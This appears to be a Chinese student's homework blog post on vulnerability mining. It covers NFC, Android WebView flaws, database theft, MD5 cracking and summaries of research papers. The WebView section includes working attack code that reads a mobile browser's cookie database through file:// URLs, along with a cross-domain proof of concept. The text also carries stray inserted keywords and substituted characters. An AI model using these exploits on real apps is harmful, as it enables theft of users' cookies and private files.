20189230楊 2018-2019-2 《密碼與安全新技術專題》第11周做業

課程:《密碼與安全新技術專題》android

班級:1892
姓名:楊
學號:20189230
上課教師:王志強
上課日期:2019年5月7日
必修/選修:選修ios

1.本次講座的學習總結

講座主題:漏洞挖掘及攻防技術
程序員

2.學習中遇到的問題及解決

  • 問題1:究竟什麼是NFC技術?NFC和射頻技術相比有什麼區別?
  • 問題1解決方案:
    (1)NFC的誕生
    NFC,全稱是Near Field Communication,即「近場通訊」,也叫「近距離無線通訊」。它誕生於2003年,由飛利浦和索尼這兩個移動設備巨頭聯合研發。2004年,兩大巨頭與諾基亞一塊兒,建立NFC論壇,開始推廣NFC的應用。
    (2)NFC究竟是什麼技術?它與射頻技術相比有什麼區別?
    NFC是一種短距離的高頻無線通訊技術,容許電子設備之間進行非接觸式點對點數據傳輸。
    說到NFC,就不得不談談它的大哥,也就是RFID。RFID,Radio Frequency Identification,即射頻識別,又名電子標籤。顧名思義,RFID的工做原理就是給一件件物品上貼上一個包含RFID射頻部分和天線環路的RFID電路。

    攜帶該標籤的物品進入人爲設置的特定磁場後,會發出特定頻率的信號,閱讀器就可得到以前該物品被寫入的信息。這有點像工做人員脖子上掛的胸牌,而你就是他的主管,當他進入你的視線,你就能夠知道他的姓名職業等信息,還能夠改寫他胸牌的內容。

    若是說RFID是一我的戴着胸牌方便別人瞭解他,那麼NFC就是兩我的都戴着胸牌,並且他們能夠在看到對方後任意更改胸牌上的內容,改變對方接收到的信息。

    NFC與RFID在物理層面看上去很類似,但其實是兩個徹底不一樣的領域,由於RFID本質上屬於識別技術,而NFC屬於通訊技術。
    (3)NFC的工做模式
    A.主動模式
    在主動模式下NFC終端能夠做爲一個讀卡器,發出射頻場去識別和讀/寫別的NFC設備信息。

    B.被動模式
    這個模式正好和主動模式相反,此時NFC終端則被模擬成一張卡,它只在其餘設備發出的射頻場中被動響應,被讀/寫信息。

    C.雙向模式
    在此模式下NFC終端雙方都主動發出射頻場來創建點對點的通訊。至關於兩個NFC設備都處於主動模式。
    以被動模式爲例:
    啓動NFC通訊的設備,也稱爲NFC發起設備,在整個通訊過程當中提供射頻場(RF-field)。它能夠選擇106kbps、212kbps或424kbps其中一種傳輸速度,將數據發送到另外一臺設備。
    另外一臺設備稱爲NFC目標設備,沒必要產生射頻場,而使用負載調製(load modulation)技術,便可以相同的速度將數據傳回發起設備。
    二者即實現了通訊。
    移動設備主要以被動模式操做,能夠大幅下降功耗,並延長電池壽命。
    (4)NFC的發展示狀
    A.卡模擬
    這是NFC最先的功能之一。
    讓手機能夠做爲公交卡和銀行卡使用,能夠大大減小如今出行所須要攜帶卡片的數量。可是,因爲軟件問題,這個功能在早期始終沒法普及。
    如今該功能終於獲得了足夠的軟件支持,小米、華爲、三星、努比亞、一加、魅族等手機廠商紛紛推出了能夠模擬公交卡的專屬APP。遺憾的是,該功能只能在幾個一線城市使用,普及還須要時間。
    至於銀行卡模擬,目前只有支付寶,Samsung Pay,Mi Pay,華爲錢包等幾個APP支持。
    B.文件傳輸
    相似於手機藍牙,在兩臺手機都將NFC功能開啓後,將手機靠近便可創建鏈接,以後就可選擇傳輸或接收文件。
    可是,正如前文提到的,NFC遠不如藍牙快捷,但NFC能夠做爲藍牙的預連接使用。
    如今不少相機、照片打印機,也經過NFC進行圖片快速傳輸,畢竟很是方便快捷。
    除此之外,愈來愈多的NFC應用被不斷髮掘出來。例如,如今火爆的共享單車。
    摩拜和ofo兩大共享單車也發佈了支持NFC的新車型,用戶能夠跳過掃碼步驟,直接將手機靠近智能鎖便可解鎖,讓用戶的使用體驗更好,但目前該功能仍有必定的侷限性。
  • 問題2:最近剛學了基於Android studio的移動平臺開發,對於Android開發有哪些常見的漏洞呢?
  • 問題2解決方案:WebView漏洞及建議
    在Android開發中,常常會使用WebView來實現WEB頁面的展現,在Activiry中啓動本身的瀏覽器,或者簡單的展現一些在線內容等。WebView功能強大,應用普遍,但它是天使與惡魔的合體,一方面它加強了APP的上網體驗,讓APP功能更多樣化,另外一方面它也引入了不少的安全問題。在過去幾年WebView中被披露的重大漏洞包括了任意代碼執行漏洞、跨域、密碼明文保存等,這些安全問題能夠直接致使用戶敏感信息泄露,移動終端被惡意攻擊者控制。將WebView的常見漏洞和針對建議總結以下。
    (1)WebView任意代碼執行漏洞
    已知的WebView任意代碼執行漏洞有4個。較早被公佈是CVE-2012-6636,揭露了WebView中addJavascriptInterface接口會引發遠程代碼執行漏洞。接着是CVE-2013-4710,針對某些特定機型會存在addJavascriptInterface API引發的遠程代碼執行漏洞。以後是CVE-2014-1939爆出WebView中內置導出的「searchBoxJavaBridge_」Java Object可能被利用,實現遠程任意代碼。再後來是CVE-2014-7224,相似於CVE-2014-1939,WebView內置導出「accessibility」和「accessibilityTraversal」兩個Java Object接口,可被利用實現遠程任意代碼執行。
    (2)WebView密碼明文存儲漏洞
    WebView默認開啓密碼保存功能mWebView.setSavePassword(true),若是該功能未關閉,在用戶輸入密碼時,會彈出提示框,詢問用戶是否保存密碼,若是選擇"是",密碼會被明文保到/data/data/com.package.name/databases/webview.db。
    (3)WebView域控制不嚴格漏洞
    A.setAllowFileAccess
    Android中默認mWebView.setAllowFileAccess(true),在File域下,可以執行任意的JavaScript代碼,同源策略跨域訪問可以對私有目錄文件進行訪問等。APP對嵌入的WebView未對file:/// 形式的URL作限制,會致使隱私信息泄露,針對IM類軟件會致使聊天信息、聯繫人等等重要信息泄露,針對瀏覽器類軟件,則更多的是cookie信息泄露。
    B.setAllowFileAccessFromFileURLs
    在JELLY_BEAN之前的版本默認是setAllowFileAccessFromFileURLs(true),容許經過file域url中的Javascript讀取其餘本地文件,在JELLY_BEAN及之後的版本中默認已被是禁止。
    C.setAllowUniversalAccessFromFileURLs
    在JELLY_BEAN之前的版本默認是setAllowUniversalAccessFromFileURLs(true),容許經過file域url中的Javascript訪問其餘的源,包括其餘的本地文件和http,https源的數據。在JELLY_BEAN及之後的版本中默認已被禁止。
    D.360手機瀏覽器缺陷可致使用戶敏感數據泄漏
    以360手機瀏覽器4.8版本爲例,因爲未對file域作安全限制,惡意APP調用360瀏覽器加載本地的攻擊頁面(好比惡意APP釋放到SDCARD上的一個HTML)後,就能夠獲取360手機瀏覽器下的全部私有數據,包括webviewCookiesChromium.db下的cookie內容,攻擊頁面關鍵代碼:
function getDatabase() {  
    var request = false;
    if(window.XMLHttpRequest) {
     request = new XMLHttpRequest();
      if(request.overrideMimeType) {
           request.overrideMimeType('text/xml');
       }
    }
    xmlhttp = request;
    var prefix = "file:////data/data/com.qihoo.browser/databases";
    var postfix = "/webviewCookiesChromium.db"; //取保存cookie的db
    var path = prefix.concat(postfix);
    // 獲取本地文件代碼
    xmlhttp.open("GET", path, false);
    xmlhttp.send(null);
    var ret = xmlhttp.responseText;
    return ret;
}

漏洞利用代碼:web

copyFile(); //自定義函數,釋放filehehe.html到sd卡上
String url = "file:///mnt/sdcard/filehehe.html";
Intent contIntent = new Intent();
contIntent.setAction("android.intent.action.VIEW");
contIntent.setData(Uri.parse(url));
Intent intent = new Intent();
intent.setClassName("com.qihoo.browser","com.qihoo.browser.BrowserActivity");
intent.setAction("android.intent.action.VIEW");
intent.setData(Uri.parse(url));
this.startActivity(intent);

(4)WebView file跨域漏洞
Android 2.3 webkit或者瀏覽器APP自建內核中會存在此類跨域漏洞。在處理轉跳時存在漏洞,致使容許從http域跨向file域,實現跨域漏洞。以某瀏覽器4.5.0.511版本爲例,寫一個html,命名爲filereach.html,存放在服務器上。該瀏覽器4.5.0.511的X5內核存在http域跨file域的漏洞。POC代碼以下所示:算法

<iframe name=f src="www.baidu.com" ></iframe>
<script>
    function init(){
        f.location = "file:///default.prop";
    }
    setTimeout(init,5000)
</script>

在瀏覽器中打開服務器上的filereach.html,將從http域跳轉到file域。數據庫

3.本次講座的學習感悟、思考等

聽了王老師這次的講座,我瞭解到了「脫庫」的相關知識,我查閱了「撞庫、洗庫、脫庫」的相關知識,並加以總結。
在黑客術語裏面,」脫庫「是指黑客入侵有價值的網絡站點,把註冊用戶的資料數據庫所有盜走的行爲,由於諧音,也常常被稱做「脫褲」,360的庫帶計劃,獎勵提交漏洞的白帽子,也是所以而得名。在取得大量的用戶數據以後,黑客會經過一系列的技術手段和黑色產業鏈將有價值的用戶數據變現,這一般也被稱做「洗庫」。最後黑客將獲得的數據在其它網站上進行嘗試登錄,叫作」撞庫「,由於不少用戶喜歡使用統一的用戶名密碼,」撞庫「也能夠是黑客收穫頗豐。下圖是黑客在「脫庫」「洗庫」「撞庫」三個環節所進行的活動。

黑客獲取用戶信息的技術手段主要分爲如下幾種:
(1)遠程下載數據庫文件
這種拖庫方式的利用主要是因爲管理員缺少安全意識,在作數據庫備份或是爲了方便數據轉移,將數據庫文件直接放到了Web目錄下,而web目錄是沒有權限控制的,任何人均可以訪問的;還有就是網站使用了一些開源程序,沒有修改默認的數據庫;其實黑客天天都會利用掃描工具對各大網站進行瘋狂的掃描,若是你的備份的文件名落在黑客的字典裏,就很容易被掃描到,從而被黑客下載到本地。
(2)利用web應用漏洞
隨着開源項目的成熟發展,各類web開源應用,開源開發框架的出現,不少初創的公司爲了減小開發成本,都會直接引入了那些開源的應用,但卻並不會關心其後續的安全性,而黑客們在知道目標代碼後,卻會對其進行深刻的分析和研究,當高危的零日漏洞發現時,這些網站就會遭到拖庫的危險。
(3)利用web服務器漏洞
Web安全其實是Web應用和Web服務器安全的結合體;而Web服務器的安全則是由Web容器和系統安全兩部分組成,系統安全一般會經過外加防火牆和屏蔽對外服務端口進行處理,但Web容器倒是必須對外開放,所以若是Web容器爆出漏洞的時候,網站也會遭到拖庫的危險。
黑客怎樣解密獲得的數據:
一般狀況下,數據庫中的我的信息如:郵箱、電話、真實姓名、性別等都是明文存儲的。而密碼一般通過MD5加密以後存儲。黑客能夠很輕易地把他須要的且是明文存儲的數據從數據庫中剝離出來。而MD5加密以後的數據這須要必定的解密流程才能看到明文。一般解密MD5的方法有,暴力破解,字典破解和彩虹表。

(1)暴力破解
暴力破解是一種"時間消耗型"的破解方法,肯定了密文的加密方式的前提下,使用相同的加密算法,計算M = H(P)。P爲全部的明文空間,H爲加密算法,M爲密文,而後將計算獲得的M和待破解的密文進行比較,若是匹配成功,則對應的明文P即爲待破解密文的明文。值得注意的是,這個枚舉P和比較M的過程每每是在內存中進行的,也即在計算的過程當中一邊產生,一邊比較,此次破解結束後,下一次破解又要從新開始從頭枚舉,效率不過高。
(2)字典破解
字典破解本質上仍是"暴力破解"的一種,在字典破解中,攻擊者是對全部的明文(M)進行預計算,將全部的明文的HASH都事先計算好,並保存起來。典型的MD5字典以下:編程

password  5f4dcc3b5aa765d61d8327deb882cf99
admin    21232f297a57a5a743894a0e4a801fc3
cnblog    efbc3548e65e7225dcf43d3918d94e6f

在進行破解的時候,破解程序將字典映射Mapping到內存中,而後將HASH和待破解的密文進行逐條比較(這點和暴力破解是同樣的),直到找到某條HASH和待破解的密文相同爲止。
值得注意的是,基於字典的暴力破解時間上比單純的內存計算型暴力破解更有效率,只要一次的"字典生成"花費必定的時間,後續的屢次破解均可以重複使用這個字典。
注意,這裏說的"字典"指的對應某個算法的字典: MD5 Directory、SHA1 Directory、NTLM Directory等等。
總的來講,字典攻擊是對單純的內存型暴力破解的一個改進,它引入了預處理的思想,但缺點也很明顯,須要佔用及其龐大的磁盤空間,以致於對於長度16以上的密碼字典,完整存儲根本不可能。
(3)彩虹表
這是對暴力破解和字典破解的一種折中的破解技術,在2003年瑞典的Philippe Oechslin 在Making a Faster Cryptanalytic Time-Memory Trade-Off一文中首次被提出,它有效的利用了預處理的優勢,同時又克服了字典破解消耗太大磁盤空間的缺點,在這二者中找到了一個平衡點。設計模式

4.「Vulnerability mining」最新研究現狀(因爲數據庫限制,博客中所查找的論文均爲IEEE收錄的期刊或會議論文)

Research on Android Vulnerability Mining Technology Based on Control Flow Analysis

論文來源:跨域

2016 Sixth International Conference on Instrumentation & Measurement, Computer, Communication and Control (IMCCC)

做者信息:
Yu Lu
Shen Yi
Pan Zulie
研究進展:
安卓系統普遍應用於移動終端,存在嚴重的安全問題。提升移動安全性和保護用戶隱私很是重要,所以人們須要找到Android系統的漏洞並加以修復。該文章總結了目前普遍使用的Android漏洞挖掘技術,並使用CuxelEL工具編寫腳本。這樣,咱們就能夠發如今多個Android版本中指針的不當使用。

根據受影響的目標,Android的脆弱性可分爲系統脆弱性軟件脆弱性。前者主要存在於Android的內核和框架代碼中,後者主要影響第三方開發的應用。
漏洞是影響Android安全的關鍵因素,所以它已成爲加強Android安全性的最重要途徑之一。然而,傳統的PC平臺漏洞挖掘技術不能知足智能終端的需求:智能終端的框架不像PC平臺,其隱私數據主要包括用戶聯繫、消息、呼叫歷史和位置信息,而PC的隱私數據主要包括使用歷史。Android的體系結構也不一樣於PC,這使得Android平臺中不多存在與代碼執行相關的漏洞。

Android漏洞研究——
Android漏洞挖掘技術能夠分爲動態和靜態兩種,須要可擴展性和精確性。脆弱性挖掘技術是基於污染分析、可達路徑分析、符號執行和模糊化的。可到達路徑分析和符號執行是靜態的,模糊化是動態的,污染分析包括二者。靜態污染分析使用控制流和數據流分析來標記污染源、相關函數來查找漏洞。
這篇文章使用基於控制流的Coccinelle來進行代碼的分析,並對android內核代碼進行了漏洞挖掘。咱們使用腳本語言SmPL生成腳本,並匹配空指針引用和內存泄漏故障的模式,以找出潛在的漏洞。

實驗和結果——
文章使用SmPL語言進行了實驗,測試了Android的多個版本。實驗主要針對指針的三種錯誤使用。
1)內存未釋放
若是指針指向的動態內存在使用後沒有釋放,就會發生內存泄漏;
2)空指針引用
若是一個指針在使用前沒有通過驗證,或者一個空指針用做對象,那麼指針的某些錯誤用法多是漏洞;
3)浮動指針的用法
在使用並釋放指針指向的內存以後,指針指向的內存將返回到操做系統。指針變爲浮動指針。若是處理不當,指針引用錯誤也會存在。
實驗使用了三種不一樣版本的Android,分別是2.一、3.0和4.0,以找出代碼中可能存在的故障。咱們在Android 2.1中發現48個故障,其中9個漏洞獲得確認。存在誤報的緣由是該工具不具有進行數據流分析的能力,而且沒法切斷沒法到達的分支。
Android2.1:

Android3.0:

Android4.0:

實驗能夠看出三種不一樣版本存在的內存故障,其中未釋放內存故障的數量相對較高。存在假陽性的緣由是,該工具僅在不切斷不可執行的執行路徑的狀況下提交控制流分析。

結論
本文采用控制流分析工具coccinelle和smpl語言對存儲器故障碼的特徵進行了總結,並對其特徵進行了匹配。這樣,就能夠測試安卓內核的安全漏洞。對安卓內核代碼的多個版本進行了故障查找實驗,並證實存在相關的漏洞。然而,經過對Android部分代碼的分析,能夠得出結論:SMPL腳本語言在匹配內存故障特徵方面是有限的。若是代碼具備特殊字符,則應修改腳本以匹配特定字符。在從此的研究中,應結合數據流分析工具,下降誤報率和人工工做量。

A Mining Approach to Obtain the Software Vulnerability Characteristics

論文來源:

2017 Fifth International Conference on Advanced Cloud and Big Data (CBD)

做者信息:
Yu Lu
Jinfu Chen
Zhechao Lin
研究進展:
因爲信息系統的技術進步,軟件脆弱性在過去十年中仍然是軟件工程領域的一個嚴重挑戰。軟件應用程序的快速發展以及系統開發人員未能在程序代碼發佈到市場以前正確分析程序代碼,增長了數據泄露的可能性。衆所周知,大多數系統故障都是由軟件應用程序中檢測到的錯誤和錯誤形成的。雖然代碼錯誤對軟件質量有顯著影響,但目前尚未一種有效的方法能夠用來消除軟件錯誤,提升軟件的可靠性。數據挖掘及其相關算法是軟件脆弱性分析的一個活躍領域。然而,應用數據挖掘技術的概念並無被經驗證實是獲取軟件脆弱性本質特徵的有效方法。爲了研究這一影響,文章提出了一種基於漏洞的數據挖掘算法,分析並得到了基於軟件漏洞的數據挖掘技術的本質特徵。本文首先使用數據挖掘技術和公共漏洞數據庫來提取和預處理軟件漏洞。咱們評估所提出的技術使用共同脆弱性和暴露(CVE)數據庫,共同弱點枚舉(CWE)數據庫,國家脆弱性數據庫(NVD)數據集。實驗結果代表,該算法在漏洞挖掘過程當中有顯著的改進。最有趣的發現是,咱們觀察到,在全部三個項目中,召回率約爲70%,精確度約爲60%。

獲取基本特徵:一種新方法
爲了得到軟件脆弱性的本質特徵,咱們使用瞭如下操做(提取、識別、挖掘和應用)來解釋咱們的程序。

實驗分析與結果
咱們使用脆弱性挖掘方法進行了探索性分析。因爲這項研究是一項探索性的研究,所以有必要得到必要和非必要漏洞的文本指標。經過閱讀代碼行及其各自的註釋,咱們手動提取了每一個開源項目的基本特徵。如下文本指標分別針對這三個項目的關鍵和非關鍵漏洞進行了提取。這些被用來爲漏洞挖掘算法構建文本指標詞彙表。
從CVE項目中挖掘出的基本漏洞:

從CWE項目中發現的主要漏洞:

從NVD項目中發現的主要漏洞:

主要和非主要漏洞統計:

從CVE項目中提取的關鍵漏洞統計:

從CWE項目中提取的關鍵漏洞統計:

從NVD項目中提取的關鍵漏洞統計:

結論與將來工做——
天天報告的大量軟件漏洞以及這些漏洞對公司和最終用戶在成本和時間方面的影響,使得軟件工程領域的研究人員必須對軟件漏洞進行最近的研究和分析。在本研究中,咱們利用CWE、CVE和NVD數據庫中存在的軟件漏洞信息,提出了一種漏洞挖掘算法,並得到了軟件漏洞的本質特徵。研究結果代表,與人工方法相比,該方法在提取軟件漏洞本質特徵方面有顯著的改進。咱們分析中最重要的發現是,咱們發如今全部三個項目中,召回率約爲70%,準確率約爲60%。這代表漏洞挖掘算法在檢測本質和非本質漏洞方面有了顯著的改進。這意味着本研究所採用的方法能夠有效地用於提取和獲取軟件漏洞的本質特徵。雖然咱們使用了三個以不一樣格式存儲軟件漏洞的漏洞數據庫,但咱們的方法沒有考慮用於存儲這些漏洞的其餘功能。在將來,咱們計劃經過添加其餘特性來擴展研究範圍,並挖掘從各類數據庫中提取的基本漏洞之間的關聯。

Work-in-Progress: DOVE: Pinpointing firmware security vulnerabilities via symbolic control flow assertion mining

論文來源:

2017 International Conference on Hardware/Software Codesign and System Synthesis (CODES+ISSS)

做者信息:
Alessandro Danese
Graziano Pravadelli
研究進展:
在過去十年中,報告的利用未經檢查的輸入固件值進行安全攻擊的次數一直在增長。爲了解決這一趨勢,本文提出了DOVE,固件漏洞檢測。Dove是一個可以識別不太可能的固件執行流的框架,在該框架中,安全漏洞能夠逃避通常的驗證工做。它依靠一個符號模擬器、一個機率映射器和一個斷言生成器,經過在抽象硬件模型中模擬正在驗證的固件,自動生成正式斷言。這些斷言描述了硬件模型的內存位置和寄存器,固件能夠在其不一樣的執行路徑中進行操做。而後根據遍歷相關執行路徑的容易程度對生成的斷言進行排序,以便驗證工程師能夠直接檢查最不可能的執行路徑,以查明潛在的漏洞。
Dove的執行框架:

Dove框架分三個階段工做:符號模擬;機率映射器;斷言生成器。
實驗性評價——
因爲缺少空間,咱們僅報告一個案例研究,即利用易受攻擊的固件使內存保護機制失效。所分析的固件充當內存映射密碼和上層軟件之間的接口。固件從密碼接口讀取值,而後詳細說明存儲讀取值的內存地址。在這種狀況下,存儲固件指令的內存位置是不可寫的,除非設置了標誌bioswe。此外,每次嘗試更改此標誌都會致使硬件中斷,從而將bioswe重置爲其默認值,即零。在正確的執行流中,來自密碼的每一個值都正確地存儲在上層軟件可讀的內存位置中。此外,因爲實現了內存寫保護機制,任何覆蓋固件代碼的嘗試都沒有效果。然而,在本案例研究中,中斷控制器寄存器(gbl-smi-en)中可能存在安全漏洞。特別是,若是硬件中斷能夠被禁用,那麼bioswe將被公開設置,而且存儲在內存中的固件代碼隨後能夠被成功覆蓋。經過Dove,咱們調查了這個案例研究,並自動生成突出上述安全漏洞的斷言。下表報告了咱們經過增長模擬指令的數量獲得的實驗結果。下表的列:模擬指令的數量、生成的符號狀態、生成的斷言的數量、符號模擬、機率映射器和斷言生成階段分別花費的執行時間(秒)。最後一列最終以秒爲單位報告整個框架的整體執行時間。正如預期的那樣,模擬指令的數量越高,生成的符號狀態集就越大。生成的斷言的數量也增長了,可是最後一組斷言很小,只需幾秒鐘就能夠生成。生成的斷言按照遵循固件的模擬執行路徑的機率進行排序。咱們報告了排名靠前的生成斷言,它突出顯示了最不可能的模擬執行路徑:

New Development of Fuzzing-based Vulnerabilities Mining Research

論文來源:

2011 First International Conference on Instrumentation, Measurement, Computer, Communication and Control

做者信息:
Qi Lanlan
Xu Dan
Wu Zhiyong
研究進展:
從1990年B.P.Miller首次引入模糊技術,發現25%以上的Unix程序出現故障,到北京大學最近推出的污點檢測系統,以及在Adobe Acrobat等幾種流行軟件中發現的27 0day漏洞,實踐經驗和結果代表,模糊技術是有效的漏洞挖掘。本文對模糊問題進行了研究和探討。首先,分析了模糊的新特色。而後,將目前的模糊測試用例生成技術分爲四類。提出了提升模糊質量的新研究方向。

模糊化是一種基於故障注入的自動化軟件測試技術。它使用大量的半有效數據做爲應用程序的輸入,而後監視和記錄任何異常。所謂半有效數據是指文檔和大多數數據的必要標識是有效的,而其他的數據則是無效的。當目標應用程序處理無效數據時,可能會致使應用程序崩潰或觸發安全漏洞。

通過近20年的發展,模糊化有了一些新的特色:
(1)反饋驅動模糊。在執行期間利用程序的內部信息來指導測試數據的生成。如圖所示,不安全的函數信息、運行時信息、代碼覆蓋率等反饋信息直接智能地生成了正確的、格式錯誤的測試數據。它能夠大大提升漏洞挖掘的效率,如BuzzFuzz、FTSG、TaintScope。

(2)白盒模糊一體化。基於符號執行的白盒模糊(如exe、klee)能夠用符號值替換全部程序輸入,收集程序跟蹤上的輸入約束,並生成新的輸入,以沿不一樣的跟蹤驅動程序執行。這些工具可以提供良好的代碼覆蓋率,並已被證實可以高度提升傳統模糊工具的有效性。他們成功地在GNU coreutils、大型Windows應用程序和Linux文件系統中檢測到嚴重的錯誤。
(3)模型推理輔助模糊化。許多協議反向器工程工具(如ftsg、prospex、tupin、autoformat、polyglot、discoverer、ffe/x8)可用於指導模糊測試。這些工具能夠經過分析網絡流量提取輸入數據的格式規範,在處理輸入數據時監視程序的執行,或者直接分析二進制可執行文件。提取的協議規範能夠進一步轉換爲模糊規範。該技術能夠下降測試數據結構的複雜性,提升代碼覆蓋率。

Data mining for web vulnerability detection: A critical review

論文來源:

2017 8th International Conference on Information Technology (ICIT)

做者信息:
Duha A. Al-Darras
Ja'far Alqatawna
研究進展:
開發沒有漏洞的軟件應用程序是必要的,特別是若是這些應用程序打算在萬維網上運行。隨着軟件應用程序開發的快速發展,開發可以自動檢測軟件漏洞的工具的需求出現了。這些工具的主要挑戰是提供高精度和低假陽性或假陰性率。本文分析瞭如何利用數據挖掘技術提升漏洞檢測質量。咱們首先討論Web應用程序的漏洞以及靜態檢測方法及其侷限性。而後,咱們探討了數據挖掘技術及其改進漏洞檢測的潛力。本文綜述和討論了在文獻中使用這類技術的結果。做爲一個結論,咱們認爲,隨着愈來愈多的研究使用數據挖掘進行漏洞檢測,咱們可能會獲得一個更好的檢測選擇,可是,須要進一步研究的幾個方面,包括特徵工程,自適應分類器和特徵選擇。
2013年4大OWASP安全風險解讀:

靜態分析及其侷限性:
靜態代碼分析(也稱爲源代碼分析)是一種白盒方法,它使用一組規則檢測代碼中的漏洞,如緩衝區溢出和SQL注入。靜態代碼分析是在沒有實際執行程序的狀況下執行的。靜態分析的一個主要優勢是能夠早期檢測代碼中的漏洞。檢測到漏洞越早,糾正漏洞的成本就越低。開發人員應用的一些源代碼分析方法包括:類型推斷、約束分析、符號執行、模型檢查、控制和數據流分析,如靜態污染分析和基於文本的模式匹配、詞彙分析和從源代碼構建抽象語法樹(ast)。這些技術用於從程序源代碼檢測不一樣類型的漏洞。使用這些技術的主要問題是假陽性和假陰性率高,這下降了靜態分析的可靠性和效率。爲了提升靜態分析數據挖掘技術的質量。
數據挖掘技術:
數據挖掘技術是用於處理大量數據(一般存儲在數據倉庫中)以提取有用信息的技術。提取的信息可能包含將在分類或聚類過程當中使用的特徵。或者在數據中隱藏模式,這些模式將用於決策。下圖總結了數據挖掘的通常過程。

數據挖掘技術已被用於檢測代碼中的漏洞,或者用於對檢測到的漏洞是否爲真正的漏洞進行分類。A部分提供了使用數據挖掘來檢測代碼中的漏洞的研究。B節提供了使用數據挖掘對漏洞檢測方法檢測到的漏洞不是假陽性或假陰性漏洞進行分類的研究。
A.數據挖掘與模式匹配以檢測代碼中的漏洞
最流行的漏洞檢測方法之一是模式匹配。檢測註冊模式的類型有兩種:正安全模式和負安全模式。正安全模型註冊了許多非易受攻擊的Web代碼模式,當一個新的模式與任何註冊的模式不匹配時,它被歸類爲易受攻擊的模式。相反,當一個新的模式與任何註冊的模式不匹配時,負安全模型註冊許多惡意Web代碼模式,它被分類爲不易受攻擊。此模式僅限於預先註冊的模式,這意味着它不能靈活地更改惡意Web代碼。另外一種方法使用數據挖掘算法檢測漏洞。該方法包括兩個主要階段:學習階段和分類階段。在學習階段,提取特徵並定義規則。在分類階段,分類器根據特徵向量將給定的代碼分類爲易受攻擊或不易受攻擊的代碼。使用機器學習算法的一個優勢是,它能夠利用更普遍的漏洞檢測範圍。
有人提出了一種檢測SQL注入的機器學習方法。在學習過程當中,應用程序從文本文件中讀取訓練數據集,而後將數據傳遞給分類器的學習方法。而後,分類器使用空白分離和標記化方法從接收到的數據中生成特徵向量。在分類過程當中,應用程序讀取測試數據集,並使用從學習過程當中提取的特徵對其進行分類。本研究所採用的納維貝葉斯機器學習方法的分類結果以下:準確度爲93.3%,精密度爲1.0,召回率爲0.89。這些結果提升了SQL注入漏洞檢測的效率,減小了誤報數量。假陽性意味着組件被預測爲易受攻擊,但其實是乾淨的。然而,假陰性意味着一個組件被預測爲乾淨的,但實際上,它是脆弱的。
另外一項研究使用相似的方法檢測SQL注入和XSS。在本研究中,咱們測試了多個機器學習算法來分類SQL注入和XSS輸入漏洞。結果代表,採用高斯核的支持向量機具備最高的精度和精度,以下表所示。
SQL的注入評估結果:

XSS的評估結果:

用於評估SQL注入的數據集:

B.數據挖掘和靜態分析
程序員常用靜態分析技術來自動搜索和刪除應用程序源代碼中的漏洞。開發靜態分析工具須要明確的編碼知識,以瞭解如何檢測複雜過程當中的每一個漏洞。

然而,這些靜態分析技術在發現經典編程缺陷(如緩衝區溢出或SQL注入)方面被證實是成功的,可是它們有很高的誤報率。儘管純靜態分析技術做爲獨立的通用漏洞檢測技術,彷佛不能提供高精度,但若是將靜態分析技術與數據挖掘技術等其餘方法相結合,將提升準確性和精度,下降誤報率。採用數據挖掘技術的方法的主要因素是以最低的假陽性率達到預測方法的最高精度和精度。所以,在分類過程當中,選擇分類方法或分類方法與適當的特徵相結合,以知足這一因素是很是重要的。
在這個階段,機器學習被用來分類代碼分析器階段發現的漏洞是不是真正的漏洞。結果模型已經在三種不一樣的機器學習算法上進行了測試。第一類是圖形和符號算法,該類包括如下算法:ID三、C4.5/J4八、隨機樹和隨機森林分類器。第二類是機率算法,這類算法包括NA_ve Bayes(NB)、K-最近鄰(KNN)和邏輯迴歸(LR)。第三類是神經網絡算法,這類算法有兩種:多層感知器(MLP)和支持向量機(SVM)。在對上述算法進行了分析以後,得出結論:對於所使用的數據集,沒有哪一種分類器最適合對誤報進行分類。所以,前三個分類器被用來增長對假陽性分類的置信度。前三個分類器分別是邏輯迴歸、隨機樹和支持向量機。三個分類器的組合依次應用:首先是lr;若是lr將漏洞分類爲假陽性,則應用rt;若是是假陽性,則應用svm。只有當支持向量機認爲是假陽性時,最終結果才被肯定爲假陽性。這些分類器是在WAP中實現的,精度達到了92.1%,精度達到了92.5%。
一項研究提出了一種將靜態分析與機器學習技術相結合的新工具。這個工具叫作DEKANT,它是用Java實現的。利用該工具,他們使用隱馬爾可夫模型(HMM)進行漏洞檢測。HMM是一個動態貝葉斯網絡,其節點表示隨機變量,邊緣表示這些變量之間的機率依賴性。這些變量要麼是觀察變量(觀察值),要麼是隱藏變量(狀態)。邊緣是從一個狀態到另外一個狀態的轉移機率。該工具的精度和準確度在96%左右。假陽性率爲17%,假陰性率爲0.5%。與WAP等工具相比,HMM的使用提升了dekant的精度和準確性。表6顯示了wap和dekant之間的比較。

一般,將數據挖掘技術,特別是機器學習算法與靜態分析模型相結合,提升了這些模型的準確性和精度。

小結

從事漏洞挖掘工做須要具有的知識是極其普遍的,而且隨着時間在不斷改變,也取決於你所研究的對象(web程序、桌面程序、嵌入式等等)。不過,萬變不離其宗,所須要掌握的知識領域卻總能夠認爲是肯定的,我認爲大體能夠分爲如下四個方面:
(1) 程序正向開發技術。這是一個開發者須要掌握的能力,包括編程語言、系統內部設計、設計模式、協議、框架等。擁有豐富編程經驗與開發能力的人在漏洞挖掘過程當中每每比那些只對安全相關領域有所瞭解的人員對目標應用能有更深刻的理解,從而有更高的產出。
(2)攻防一體的理念。這些知識涵蓋了從基本的安全原則到不斷變換的漏洞形態及漏洞緩解措施。攻擊和防護結合的理念,可以有效幫助研究者既可以發現漏洞,同時也可以快速給出有效的漏洞緩解措施和規避方法。
(3)有效使用工具。可以高效的使用工具可以快速將思路轉化爲實踐,這須要經過花時間去學習如何配置和使用工具,將其應用於本身的任務並構建本身的工做流程來不斷積累經驗。更進一步,須要深刻掌握所使用工具的原理,以及如何對其進行二次開發,以使得其可以更加高效的應用於當前的工做實際。事實上,我認爲面向過程的學習方法每每比面向工具的學習方法更加高效以及有價值,當本身發現一個在使用一個工具遇到瓶頸時,先不要退縮,嘗試去改造它,或者經過本身動手實踐去完成可以適應當前工做的工具,這每每可以幫助快速積累大量實踐經驗。幫助咱們之後更加高效的去實踐漏洞挖掘工做。
(4)對目標應用的理解。最後,也是最重要的,做爲一個漏洞挖掘人員,對本身研究的應用程序在安全性方面必需要比這個程序的開發者或維護者有更深的理解。這樣你才能儘量的發現這個程序中的漏洞並修復它。

參考資料

Research on Android Vulnerability Mining Technology Based on Control Flow Analysis
A Mining Approach to Obtain the Software Vulnerability Characteristics
